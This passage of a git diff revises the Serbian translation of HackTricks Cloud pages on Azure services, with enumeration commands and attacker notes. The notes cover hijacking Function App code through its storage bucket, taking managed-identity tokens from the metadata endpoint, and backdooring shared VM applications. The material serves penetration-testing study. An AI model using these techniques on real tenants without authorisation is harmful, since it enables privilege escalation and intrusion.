DS**: Koristi on-premises Active Directory akreditive sinhronizovane sa Microsoft Entra ID za pristup zasnovan na identitetu. Zahteva mrežnu povezanost sa on-premises AD DS. -- **Autentifikacija putem Microsoft Entra Domain Services**: Koristi Microsoft Entra Domain Services (oblaci AD) za pružanje pristupa koristeći Microsoft Entra akreditive. -- **Microsoft Entra Kerberos za hibridne identitete**: Omogućava Microsoft Entra korisnicima da autentifikuju Azure deljenja datoteka putem interneta koristeći Kerberos. Podržava hibridne Microsoft Entra pridružene ili Microsoft Entra pridružene VM bez potrebe za povezivanjem sa on-premises domen kontrolerima. Ali ne podržava identitete koji su samo u oblaku. -- **AD Kerberos autentifikacija za Linux klijente**: Omogućava Linux klijentima da koriste Kerberos za SMB autentifikaciju putem on-premises AD DS ili Microsoft Entra Domain Services. +- **Autentifikacija putem lokalnog AD DS**: Koristi lokalne Active Directory akreditive sinhronizovane sa Microsoft Entra ID za pristup zasnovan na identitetu. Zahteva mrežnu povezanost sa lokalnim AD DS. +- **Autentifikacija putem Microsoft Entra Domain Services**: Koristi Microsoft Entra Domain Services (oblaku zasnovan AD) za pružanje pristupa koristeći Microsoft Entra akreditive. +- **Microsoft Entra Kerberos za hibridne identitete**: Omogućava Microsoft Entra korisnicima da autentifikuju Azure deljenja datoteka putem interneta koristeći Kerberos. Podržava hibridne Microsoft Entra pridružene ili Microsoft Entra pridružene VM bez potrebe za povezivanjem sa lokalnim kontrolerima domena. Ali ne podržava identitete koji su samo u oblaku. +- **AD Kerberos autentifikacija za Linux klijente**: Omogućava Linux klijentima da koriste Kerberos za SMB autentifikaciju putem lokalnog AD DS ili Microsoft Entra Domain Services. ## Enumeracija @@ -85,10 +85,10 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor {{#endtabs }} > [!NOTE] -> Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID principal, koristite parametre `--auth-mode login --enable-file-backup-request-intent`. +> Podrazumevano `az` cli će koristiti ključ naloga za potpisivanje ključa i izvršavanje akcije. Da biste koristili privilegije Entra ID principa, koristite parametre `--auth-mode login --enable-file-backup-request-intent`. > [!TIP] -> Koristite parametar `--account-key` da naznačite ključ naloga koji treba koristiti\ +> Koristite parametar `--account-key` da naznačite ključ naloga koji će se koristiti\ > Koristite parametar `--sas-token` sa SAS tokenom za pristup putem SAS tokena ### Povezivanje @@ -158,7 +158,7 @@ Isto kao skladišna eskalacija privilegija: ## Postojanost -Isto kao skladišna postojanost: +Isto kao postojanost skladišta: {{#ref}} ../az-persistence/az-storage-persistence.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index a52cdea8f..49e68bbec 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -4,10 +4,10 @@ ## Osnovne Informacije -**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo za vreme obrade kada se vaš kod izvršava. +**Azure Function Apps** su **serverless compute service** koje vam omogućavaju da pokrećete male delove koda, nazvane **functions**, bez upravljanja osnovnom infrastrukturom. Dizajnirane su da izvršavaju kod kao odgovor na različite okidače, kao što su **HTTP zahtevi, tajmeri ili događaji iz drugih Azure servisa** poput Blob Storage ili Event Hubs. Function Apps podržavaju više programskih jezika, uključujući C#, Python, JavaScript i Java, što ih čini svestranim za izgradnju **aplikacija vođenih događajima**, automatizaciju radnih tokova ili integraciju servisa. Troškovi su efikasni, jer obično plaćate samo vreme obrade kada se vaš kod izvršava. > [!NOTE] -> Imajte na umu da su **Functions podskup App Services**, stoga će mnoge funkcije o kojima se ovde govori koristiti i aplikacije kreirane kao Azure Apps (`webapp` u cli). +> Imajte na umu da su **Functions podskup App Services**, stoga će mnoge od funkcija o kojima se ovde govori koristiti i aplikacije kreirane kao Azure Apps (`webapp` u cli). ### Različiti Planovi @@ -19,12 +19,12 @@ ### **Storage Buckets** -Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju će biti pohranjeni u Storage nalogu**. Po defaultu, web konzola će kreirati novi za svaku funkciju kako bi pohranila kod. +Kada kreirate novu Function App koja nije kontejnerizovana (ali daje kod za izvršavanje), **kod i drugi podaci vezani za funkciju biće pohranjeni u Storage nalogu**. Po defaultu, web konzola će kreirati novi za svaku funkciju kako bi pohranila kod. Štaviše, modifikovanjem koda unutar bucket-a (u različitim formatima u kojima može biti pohranjen), **kod aplikacije će biti modifikovan na novi i izvršen** sledeći put kada se funkcija pozove. > [!CAUTION] -> Ovo je veoma zanimljivo iz perspektive napadača jer **pristup za pisanje preko ovog bucket-a** će omogućiti napadaču da **kompromituje kod i eskalira privilegije** na upravljane identitete unutar Function App-a. +> Ovo je veoma zanimljivo iz perspektive napadača jer **pristup za pisanje preko ovog bucket-a** omogućava napadaču da **kompromituje kod i eskalira privilegije** na upravljane identitete unutar Function App-a. > > Više o ovome u **odeljku o eskalaciji privilegija**. @@ -37,16 +37,16 @@ Imajte na umu da Functions takođe omogućavaju pohranu koda na udaljenoj lokaci Korišćenjem HTTP okidača: - Moguće je dati **pristup funkciji sa celog Interneta** bez potrebe za bilo kakvom autentifikacijom ili dati pristup na osnovu IAM-a. Iako je takođe moguće ograničiti ovaj pristup. -- Takođe je moguće **dati ili ograničiti pristup** Function App-u iz **internetske mreže (VPC)**. +- Takođe je moguće **dati ili ograničiti pristup** Function App-u iz **internih mreža (VPC)**. > [!CAUTION] -> Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene internetu. +> Ovo je veoma zanimljivo iz perspektive napadača jer bi moglo biti moguće **pivotsati na interne mreže** iz ranjive funkcije izložene Internetu. ### **Podešavanja Function App-a & Varijable Okruženja** Moguće je konfigurisati varijable okruženja unutar aplikacije, koje mogu sadržati osetljive informacije. Štaviše, po defaultu se kreiraju varijable okruženja **`AzureWebJobsStorage`** i **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (među ostalima). Ove su posebno zanimljive jer **sadrže ključ naloga za kontrolu sa POTPUNIM dozvolama nad storage nalogom koji sadrži podatke aplikacije**. Ova podešavanja su takođe potrebna za izvršavanje koda iz Storage naloga. -Ove varijable okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se kod aplikacije nalazi. +Ove varijable okruženja ili parametri konfiguracije takođe kontrolišu kako funkcija izvršava kod, na primer, ako **`WEBSITE_RUN_FROM_PACKAGE`** postoji, to će ukazivati na URL gde se nalazi kod aplikacije. ### **Function Sandbox** @@ -63,13 +63,13 @@ Baš kao i [**VMs**](vms/index.html), Functions mogu imati **Upravljane Identite > [!NOTE] > Baš kao u [**VMs**](vms/index.html), Functions mogu imati **1 sistem dodeljen** upravljani identitet i **several korisnik dodeljenih**, tako da je uvek važno pokušati pronaći sve njih ako kompromitujete funkciju jer biste mogli biti u mogućnosti da eskalirate privilegije na nekoliko upravljanih identiteta iz samo jedne funkcije. > -> Ako se ne koristi sistemski upravljani identitet, ali su jedan ili više korisničkih upravljanih identiteta povezani sa funkcijom, po defaultu nećete moći da dobijete nijedan token. +> Ako se ne koristi sistemski upravljani identitet, ali su jedan ili više korisničkih upravljanih identiteta povezani sa funkcijom, po defaultu nećete moći dobiti nijedan token. -Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) da dobijete tokene iz podrazumevanog upravljanog identiteta sa krajnje tačke metapodataka. Ili ih možete dobiti **ručno** kao što je objašnjeno u: +Moguće je koristiti [**PEASS skripte**](https://github.com/peass-ng/PEASS-ng) za dobijanje tokena iz podrazumevanog upravljanog identiteta sa metapodataka krajnje tačke. Ili ih možete dobiti **ručno** kao što je objašnjeno u: {% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} -Imajte na umu da treba da pronađete način da **proverite sve Upravljane Identitete koje funkcija ima povezane** jer ako to ne navedete, krajnja tačka metapodataka će **koristiti samo podrazumevani** (proverite prethodni link za više informacija). +Imajte na umu da treba da pronađete način da **proverite sve Upravljane Identitete koje funkcija ima povezane** jer ako to ne naznačite, metapodataka krajnja tačka će **koristiti samo podrazumevani** (proverite prethodni link za više informacija). ## Ključevi Pristupa @@ -84,10 +84,10 @@ Kada kreirate krajnju tačku unutar funkcije koristeći **HTTP okidač**, moguć **Tipovi ključeva:** -- **Funkcijski Ključevi:** Funkcijski ključevi mogu biti ili podrazumevani ili korisnički definisani i dizajnirani su da daju pristup isključivo **određenim funkcijskim krajnjim tačkama** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama. -- **Host Ključevi:** Host ključevi, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim funkcijskim krajnjim tačkama unutar Function App-a sa nivoom pristupa FUNCTION**. -- **Master Ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim funkcijskim krajnjim tačkama (uključujući ADMIN nivo pristupa). Ovaj **ključ ne može biti opozvan.** -- **Sistemski Ključevi:** Sistemski ključevi su **upravni od strane specifičnih ekstenzija** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima. +- **Funkcijski Ključevi:** Funkcijski ključevi mogu biti ili podrazumevani ili korisnički definisani i dizajnirani su da omogućavaju pristup isključivo **određenim funkcijskim krajnjim tačkama** unutar Function App-a, omogućavajući finiju kontrolu pristupa nad krajnjim tačkama. +- **Host Ključevi:** Host ključevi, koji takođe mogu biti podrazumevani ili korisnički definisani, pružaju pristup **svim funkcijskim krajnjim tačkama unutar Function App-a sa FUNCTION nivoom pristupa**. +- **Master Ključ:** Master ključ (`_master`) služi kao administrativni ključ koji nudi povišene dozvole, uključujući pristup svim funkcijskim krajnjim tačkama (uključujući ADMIN nivo pristupa). Ovaj **ključ se ne može opozvati.** +- **Sistemski Ključevi:** Sistemski ključevi su **upravljani specifičnim ekstenzijama** i potrebni su za pristup webhook krajnjim tačkama koje koriste interni komponenti. Primeri uključuju Event Grid okidač i Durable Functions, koji koriste sistemske ključeve za sigurno interagovanje sa svojim API-ima. > [!TIP] > Primer za pristup funkciji API krajnjoj tački koristeći ključ: diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index 28de7a451..27c44e1a3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -11,7 +11,7 @@ Logic Apps pruža vizuelni dizajner za kreiranje radnih tokova sa **širokim spe ### Primeri - **Automatizacija Podatkovnih Tokova**: Logic Apps može automatizovati **procese prenosa i transformacije podataka** u kombinaciji sa Azure Data Factory. Ovo je korisno za kreiranje skalabilnih i pouzdanih podatkovnih tokova koji prenose i transformišu podatke između različitih skladišta podataka, kao što su Azure SQL Database i Azure Blob Storage, pomažući u analitici i poslovnoj inteligenciji. -- **Integracija sa Azure Funkcijama**: Logic Apps može raditi zajedno sa Azure Funkcijama za razvoj **složenih, događajem pokretanih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Funkcije kao odgovor na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičku obradu podataka. +- **Integracija sa Azure Functions**: Logic Apps može raditi zajedno sa Azure Functions za razvoj **složenih, događajem vođenih aplikacija koje se skaliraju po potrebi** i besprekorno se integrišu sa drugim Azure uslugama. Primer upotrebe je korišćenje Logic App-a za pokretanje Azure Function u odgovoru na određene događaje, kao što su promene u Azure Storage nalogu, omogućavajući dinamičko procesiranje podataka. ### Vizualizacija LogicAPP-a @@ -137,6 +137,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -Name " -Integra ## Eskalacija privilegija -Isto kao privesc za logic apps: +Isto kao privesc logičkih aplikacija: {{#ref}} ../az-privilege-escalation/az-logic-apps-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 9469b946b..518534fc3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -17,9 +17,9 @@ Azure Database for MySQL je potpuno upravljana relacijska baza podataka zasnovan ### Ključne Karakteristike * **Upravljanje Serverom**: **ad-admin** funkcija omogućava upravljanje Azure Active Directory (AAD) administratorima za MySQL servere, pružajući kontrolu nad administrativnim pristupom putem AAD akreditiva, dok **identity** funkcija omogućava dodeljivanje i upravljanje Azure Managed Identities, nudeći sigurnu, autentifikaciju bez akreditiva za pristup Azure resursima. -* **Upravljanje Životnim Ciklusom**: opcije za pokretanje ili zaustavljanje servera, brisanje instance fleksibilnog servera, ponovo pokretanje servera kako bi se brzo primenile promene u konfiguraciji, i čekanje da se osigura da server ispunjava određene uslove pre nego što se nastavi sa automatizovanim skriptama. +* **Upravljanje Životnim Ciklusom**: opcije za pokretanje ili zaustavljanje servera, brisanje instance fleksibilnog servera, ponovo pokretanje servera kako bi se brzo primenile promene konfiguracije, i čekanje da se osigura da server ispunjava određene uslove pre nego što se nastavi sa automatizovanim skriptama. * **Sigurnost i Mrežno Povezivanje**: može upravljati pravilima vatrozida servera za siguran pristup bazi podataka i odvojiti konfiguracije virtuelne mreže po potrebi. -* **Zaštita Podataka i Rezervne Kopije**: uključuje opcije za upravljanje rezervnim kopijama fleksibilnog servera za oporavak podataka, izvođenje geo-obnavljanja za oporavak servera u drugoj regiji, izvoz rezervnih kopija servera za spoljašnju upotrebu (u Previu), i obnavljanje servera iz rezervne kopije na određenu tačku u vremenu. +* **Zaštita Podataka i Rezervne Kopije**: uključuje opcije za upravljanje rezervnim kopijama fleksibilnog servera za oporavak podataka, izvođenje geo-obnavljanja za oporavak servera u drugoj regiji, izvoz rezervnih kopija servera za spoljašnju upotrebu (u Preview), i obnavljanje servera iz rezervne kopije na određenu tačku u vremenu. ### Enumeracija @@ -110,7 +110,7 @@ az mysql flexible-server execute \ --querytext "SELECT * FROM ;" ``` -Ili sa MySQL nativnim ekstenzijskim dodatkom +Ili sa MySQL nativnim ekstenzijskim pluginom ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` @@ -139,7 +139,7 @@ az mysql flexible-server deploy run \ ../az-privilege-escalation/az-mysql-privesc.md {{#endref}} -## Post eksploatacija +## Post Eksploatacija {{#ref}} ../az-post-exploitation/az-mysql-post-exploitation.md @@ -149,4 +149,6 @@ az mysql flexible-server deploy run \ * Potražite način da pristupite mysql flexible-server ad-admin da biste proverili da li je to metoda eskalacije privilegija + + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index e5dff1e6d..760a91a76 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## Azure PostgreSQL -**Azure Database for PostgreSQL** je potpuno upravljana **usluga relacionih baza podataka zasnovana na PostgreSQL** Community Edition. Dizajnirana je da pruži skalabilnost, sigurnost i fleksibilnost za različite potrebe aplikacija. Slično Azure MySQL, PostgreSQL nudi dva modela implementacije: +**Azure Database for PostgreSQL** je potpuno upravljana **usluga relacionih baza podataka zasnovana na PostgreSQL** Community Edition. Dizajnirana je da pruži skalabilnost, sigurnost i fleksibilnost za različite potrebe aplikacija. Slično kao Azure MySQL, PostgreSQL nudi dva modela implementacije: * **Single Server** (na putu povlačenja): - Optimizovan za jednostavne, isplative PostgreSQL implementacije. @@ -17,11 +17,11 @@ ### Ključne Karakteristike -* **Prilagođena Održavanja**: Planirajte ažuriranja kako biste minimizirali prekide. +* **Prilagođena Održavanja**: Planirajte ažuriranja kako biste minimizovali prekide. * **Aktivno Praćenje**: Pristupite detaljnim metrikama i zapisima za praćenje i poboljšanje performansi baze podataka. * **Stop/Start Server**: Korisnici mogu zaustaviti i pokrenuti server. * **Automatske Rezervne Kopije**: Ugrađene dnevne rezervne kopije sa periodima čuvanja koji se mogu konfigurisati do 35 dana. -* **Pristup na Bazi Rolama**: Kontrolišite dozvole korisnika i administratorski pristup putem Azure Active Directory. +* **Pristup na Bazi Uloga**: Kontrolišite dozvole korisnika i administrativni pristup putem Azure Active Directory. * **Sigurnost i Mrežno Povezivanje**: može upravljati pravilima vatrozida servera za siguran pristup bazi podataka i odvojiti konfiguracije virtuelne mreže po potrebi. ### Enumeracija @@ -91,7 +91,7 @@ Get-AzPostgreSqlServer -ResourceGroupName {{#endtab }} {{#endtabs }} -### Veza +### Povezivanje Sa ekstenzijom rdbms-connect možete pristupiti bazi podataka sa: ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index 09ea7c0ac..94ace22af 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Osnovne informacije +## Osnovne Informacije -Azure Queue Storage je usluga u Microsoftovoj Azure cloud platformi dizajnirana za redosled poruka između komponenti aplikacije, **omogućavajući asinhronu komunikaciju i dekopling**. Omogućava vam da čuvate neograničen broj poruka, svaka do 64 KB u veličini, i podržava operacije kao što su kreiranje i brisanje redova, dodavanje, preuzimanje, ažuriranje i brisanje poruka, kao i upravljanje metapodacima i politikama pristupa. Iako obično obrađuje poruke po principu prvi dođe, prvi se usluži (FIFO), strogi FIFO nije garantovan. +Azure Queue Storage je usluga u Microsoftovoj Azure cloud platformi dizajnirana za redosled poruka između komponenti aplikacije, **omogućavajući asinhronu komunikaciju i dekoplovanje**. Omogućava vam da čuvate neograničen broj poruka, svaka do 64 KB veličine, i podržava operacije kao što su kreiranje i brisanje redova, dodavanje, preuzimanje, ažuriranje i brisanje poruka, kao i upravljanje metapodacima i politikama pristupa. Iako obično obrađuje poruke na principu prvi dođe, prvi se usluži (FIFO), stroga FIFO nije garantovana. ### Enumeracija diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index 9f24b7dc3..5c5a2c3b7 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -4,7 +4,7 @@ ## Service Bus -Azure Service Bus je usluga **poruka** zasnovana na oblaku koja je dizajnirana da omogući pouzdanu **komunikaciju između različitih delova aplikacije ili odvojenih aplikacija**. Deluje kao siguran posrednik, osiguravajući da se poruke bezbedno isporučuju, čak i ako pošiljalac i primalac ne rade istovremeno. Razdvajanjem sistema, omogućava aplikacijama da rade nezavisno dok i dalje razmenjuju podatke ili uputstva. Posebno je korisna za scenarije koji zahtevaju ravnotežu opterećenja između više radnika, pouzdanu isporuku poruka ili složenu koordinaciju, kao što je obrada zadataka u redosledu ili sigurno upravljanje pristupom. +Azure Service Bus je usluga **poruka** zasnovana na oblaku koja omogućava pouzdanu **komunikaciju između različitih delova aplikacije ili odvojenih aplikacija**. Deluje kao siguran posrednik, osiguravajući da poruke budu sigurno isporučene, čak i ako pošiljalac i primalac ne rade istovremeno. Razdvajanjem sistema, omogućava aplikacijama da rade nezavisno dok i dalje razmenjuju podatke ili uputstva. Posebno je korisna za scenarije koji zahtevaju ravnotežu opterećenja među više radnika, pouzdanu isporuku poruka ili složenu koordinaciju, kao što je obrada zadataka u redosledu ili sigurno upravljanje pristupom. ### Ključni koncepti @@ -15,7 +15,7 @@ Azure Service Bus je usluga **poruka** zasnovana na oblaku koja je dizajnirana d 2. **Teme:** Publikovanje i pretplata za emitovanje. - Više nezavisnih pretplata prima kopije poruka. - Pretplate mogu imati pravila/filtere za kontrolu isporuke ili dodavanje metapodataka. -- Podržava komunikaciju mnogi-na-mnogi. +- Podržava komunikaciju mnogi-na-mnoge. 3. **Imena prostora:** Kontejner za sve komponente poruka, redove i teme, kao vaša vlastita podela moćnog Azure klastera, pružajući posvećeni kapacitet i opcionalno se proteže preko tri dostupne zone. ### Napredne funkcije @@ -24,7 +24,7 @@ Neke napredne funkcije su: - **Sesije poruka**: Osigurava FIFO obradu i podržava obrasce zahtev-odgovor. - **Automatsko prosleđivanje**: Prenosi poruke između redova ili tema u istom imenskom prostoru. -- **Dead-Lettering**: Započinje neisporučive poruke za pregled. +- **Dead-Lettering**: Zapisuje neisporučive poruke za pregled. - **Zakazano isporučivanje**: Odlaže obradu poruka za buduće zadatke. - **Odlaganje poruka**: Odlaže preuzimanje poruka dok ne budu spremne. - **Transakcije**: Grupira operacije u atomsko izvršenje. @@ -35,13 +35,13 @@ Neke napredne funkcije su: ### Pravilo autorizacije / SAS politika -SAS politike definišu dozvole pristupa za entitete Azure Service Bus imenskog prostora (najvažniji), redove i teme. Svaka politika ima sledeće komponente: +SAS politike definišu dozvole pristupa za entitete Azure Service Bus imenskog prostora (najvažnija), redove i teme. Svaka politika ima sledeće komponente: - **Dozvole**: Potvrdni okviri za određivanje nivoa pristupa: - Upravljanje: Daje potpunu kontrolu nad entitetom, uključujući upravljanje konfiguracijom i dozvolama. - Slanje: Omogućava slanje poruka entitetu. - Slušanje: Omogućava primanje poruka od entiteta. -- **Primarni i sekundarni ključevi**: Ovo su kriptografski ključevi koji se koriste za generisanje sigurnih tokena za autentifikaciju pristupa. +- **Primarni i sekundarni ključevi**: To su kriptografski ključevi koji se koriste za generisanje sigurnih tokena za autentifikaciju pristupa. - **Primarni i sekundarni stringovi za povezivanje**: Prekonfigurisani stringovi za povezivanje koji uključuju krajnju tačku i ključ za laku upotrebu u aplikacijama. - **SAS politika ARM ID**: Putanja Azure Resource Manager-a (ARM) do politike za programatsku identifikaciju. @@ -128,14 +128,13 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName ## Slike, Galerijske slike i Tačke vraćanja -**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u tački vremena jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\ +**VM slika** je šablon koji sadrži operativni sistem, podešavanja aplikacija i datotečni sistem potreban za **kreiranje nove virtuelne mašine (VM)**. Razlika između slike i snimka diska je u tome što je snimak diska samo za čitanje, kopija u određenom trenutku jednog upravljanog diska, koja se prvenstveno koristi za backup ili rešavanje problema, dok slika može sadržati **više diskova i dizajnirana je da služi kao šablon za kreiranje novih VM-ova**.\ Slike se mogu upravljati u **odeljku Slike** u Azure-u ili unutar **Azure compute galerija** koje omogućavaju generisanje **verzija** i **deljenje** slike između različitih korisnika, pa čak i njeno postavljanje kao javne. -**Tačka vraćanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u tački vremena koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u toj specifičnoj tački. +**Tačka vraćanja** čuva konfiguraciju VM-a i **snapshots** aplikacija u određenom trenutku koji su dosledni za sve upravljane diskove povezane sa VM-om. Povezana je sa VM-om i njen cilj je da omogući vraćanje tog VM-a na stanje u tom specifičnom trenutku. {{#tabs}} {{#tab name="az cli"}} @@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name -ResourceGroupName \ @@ -630,12 +630,12 @@ Ovo su putanje gde se aplikacije preuzimaju unutar fajl sistema: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` -Proverite kako da instalirate nove aplikacije na [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) +Proverite kako da instalirate nove aplikacije u [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] > Moguće je **deliti pojedinačne aplikacije i galerije sa drugim pretplatama ili zakupcima**. Što je veoma zanimljivo jer bi to moglo omogućiti napadaču da unese backdoor u aplikaciju i pređe na druge pretplate i zakupce. -Ali ne **postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije. +Ali **ne postoji "marketplace" za vm aplikacije** kao što postoji za ekstenzije. Potrebne dozvole su: @@ -739,7 +739,7 @@ Moguće je proslediti neke podatke VM-u koji će biti sačuvani na očekivanim p - U **Linux** su se čuvali u `/var/lib/waagent/ovf-env.xml`, a sada se čuvaju u `/var/lib/waagent/CustomData/ovf-env.xml` - **Linux agent**: Po defaultu ne obrađuje prilagođene podatke, potrebna je prilagođena slika sa omogućеним podacima - **cloud-init:** Po defaultu obrađuje prilagođene podatke i ovi podaci mogu biti u [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Može lako izvršiti skriptu jednostavno slanjem samo skripte u prilagođenim podacima. -- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde postavite. +- Pokušao sam da i Ubuntu i Debian izvrše skriptu koju ovde stavite. - Takođe nije potrebno omogućiti korisničke podatke da bi ovo bilo izvršeno. ```bash #!/bin/sh @@ -747,7 +747,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Pokreni Komandu** -Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VMs**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`. +Ovo je najosnovniji mehanizam koji Azure pruža za **izvršavanje proizvoljnih komandi u VM-ovima**. Potrebna dozvola je `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md index dc5ecf053..fd1741b12 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md @@ -11,7 +11,7 @@ Pored toga, moguće je **povezati** VNets sa drugim VNets i sa lokalnim mrežama Azure Virtuelna Mreža (VNet) je reprezentacija vaše vlastite mreže u oblaku, koja pruža **logičku izolaciju** unutar Azure okruženja posvećenog vašoj pretplati. VNets vam omogućavaju da obezbedite i upravljate virtuelnim privatnim mrežama (VPN) u Azure, hostujući resurse kao što su Virtuelne Mašine (VM), baze podataka i usluge aplikacija. One nude **potpunu kontrolu nad mrežnim podešavanjima**, uključujući opsege IP adresa, kreiranje podmreža, tabele ruta i mrežne prolaze. -**Podmreže** su pododeli unutar VNet-a, definisane specifičnim **opsegom IP adresa**. Segmentacijom VNet-a u više podmreža, možete organizovati i osigurati resurse prema vašoj mrežnoj arhitekturi.\ +**Podmreže** su pododeljenja unutar VNet-a, definisana specifičnim **opsegom IP adresa**. Segmentacijom VNet-a u više podmreža, možete organizovati i osigurati resurse prema vašoj mrežnoj arhitekturi.\ Po defaultu, sve podmreže unutar iste Azure Virtuelne Mreže (VNet) **mogu komunicirati jedna sa drugom** bez ikakvih ograničenja. **Primer:** @@ -98,10 +98,10 @@ Dostupan je u tri SKU-a—**Basic**, **Standard** i **Premium**, svaki prilagođ | Kriterijum/Osobina | Opcija 1 | Opcija 2 | Opcija 3 | | ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- | | **Preporučeni slučaj upotrebe**| Mala/Srednja preduzeća (SMB) sa ograničenim potrebama | Opšta preduzeća, filtriranje slojeva 3–7 | Veoma osetljiva okruženja (npr. obrada plaćanja) | -| **Performanse** | Do 250 Mbps propusnosti | Do 30 Gbps propusnosti | Do 100 Gbps propusnosti | -| **Obaveštavanje o pretnjama** | Samo obaveštenja | Obaveštenja i blokiranje (maliciozni IP-ovi/domeni) | Obaveštenja i blokiranje (napredna obaveštajna inteligencija) | +| **Performanse** | Do 250 Mbps propusnosti | Do 30 Gbps propusnosti | Do 100 Gbps propusnosti | +| **Obaveštavanje o pretnjama** | Samo obaveštenja | Obaveštenja i blokiranje (maliciozni IP-ovi/domeni) | Obaveštenja i blokiranje (napredna obaveštajna inteligencija) | | **L3–L7 filtriranje** | Osnovno filtriranje | Stanje svestan filtriranje preko protokola | Stanje svestan filtriranje sa naprednom inspekcijom | -| **Napredna zaštita od pretnji** | Nije dostupna | Filtriranje zasnovano na obaveštajnoj inteligenciji | Uključuje sistem za otkrivanje i prevenciju upada (IDPS) | +| **Napredna zaštita od pretnji**| Nije dostupna | 